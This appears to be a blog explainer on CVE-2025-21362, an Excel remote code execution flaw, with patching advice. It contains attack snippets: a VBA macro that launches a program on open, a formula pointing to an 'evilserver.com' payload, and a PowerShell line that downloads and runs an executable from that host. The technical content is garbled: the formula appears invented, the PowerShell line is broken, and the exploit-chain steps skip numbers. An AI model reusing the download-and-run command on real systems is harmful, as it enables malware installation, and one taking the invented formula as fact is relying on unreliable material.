CVE-2025-21362 - Microsoft Excel Remote Code Execution Vulnerability Explained

> Read time: 10 minutes
> CVE: CVE-2025-21362
> Product: Microsoft Excel (including Office 365, Office 2019, Office 2016)
> Impact: Remote Code Execution (RCE)
> Attack Vector: Malicious Excel file (.xlsx, .xlsm)
> Status: Patched (see official links below for updates)

What is CVE-2025-21362?

CVE-2025-21362 is a high-severity security flaw discovered in Microsoft Excel. It allows attackers to run arbitrary code on a victim’s system simply by tricking them into opening a specially crafted Excel file. In simple terms, just opening the wrong spreadsheet can let a hacker run programs, steal files, or install malware—all without further interaction.

This vulnerability is scary because Excel files are sent every day in businesses, schools, and personal correspondence. Many people trust them and open them without a second thought.

How Does the Vulnerability Work?

The vulnerability exists in how Excel handles certain embedded objects and formulas. If a file is created with a specific, malformed structure, Excel can get confused and execute attacker-supplied code.
The attack does not need macros to be enabled, making it more dangerous, since many users believe they are safe if they never enable macros.

Malicious code executes automatically with the same privileges as the user.

Below, you’ll find a simplified proof-of-concept to show how such an attack might look.

Technical Details & Proof-of-Concept Code

> Note: This code is safe for learning, but do not use it for unethical purposes.

Most RCE vulnerabilities in Excel involve how external objects like OLE, ActiveX, or specially-obfuscated formulas are handled. While the specific technical details of CVE-2025-21362 aren’t public yet (for safety reasons), here’s an example of a similar RCE method discovered in prior Excel bugs:

' Malicious VBA code embedded in an Excel file to launch calculator
Sub Auto_Open()
    Shell "calc.exe", vbNormalFocus
End Sub

But here's the catch: For CVE-2025-21362, the attack may not need macros at all. Instead, a crafted file might exploit Excel's memory handling. For example, a cell formula can reference a remote HTML object:

=EMBED("htmlfile";"\\evilserver.com\payload.html")

Opening this file could cause Excel to fetch and execute malicious content, or use malformed data to trigger RCE by corrupting memory.

Patch your software: Microsoft has released fixes.

- Office Protected View: Excel will open files from the internet in Protected View. Do not enable editing unless you trust the file.

Microsoft Official Patch & References

- Microsoft Security Update Guide for CVE-2025-21362
- Microsoft Office Update Instructions
- CERT/CC Vulnerability Note

How Attackers Might Exploit CVE-2025-21362

1. Crafting the Weaponized File: They use tools like oletools or custom scripts to build a malicious Excel file.

Execution: As soon as the user opens the file, the exploit runs automatically.

4. Post-Exploitation: The attacker can install malware, steal passwords, or take control of the system.

Example Exploit Chain

# PowerShell script to simulate payload download after RCE
Invoke-WebRequest -Uri "http://evilserver.com/payload.exe"; -OutFile "$env:TEMP\payload.exe"
Start-Process "$env:TEMP\payload.exe"

Home Users

- Update Office/Excel right away.

Resources & Further Reading

- CVE-2025-21362 on MITRE
- Blog: How RCE vulnerabilities in Office work
- Microsoft Security Blog
- Exploit Database - Office Exploits

Summary

CVE-2025-21362 shows that *even trusted applications and file formats can be abused*. Excel is still a favorite target for attackers. The best defense is simple: keep everything up to date and be cautious with unexpected files.

*Stay safe, and never underestimate a spreadsheet!*


If you want in-depth details or need help patching, see Microsoft’s guidance or reach out to your IT department.

Timeline

Published on: 01/14/2025 18:16:01 UTC
Last modified on: 02/21/2025 20:28:12 UTC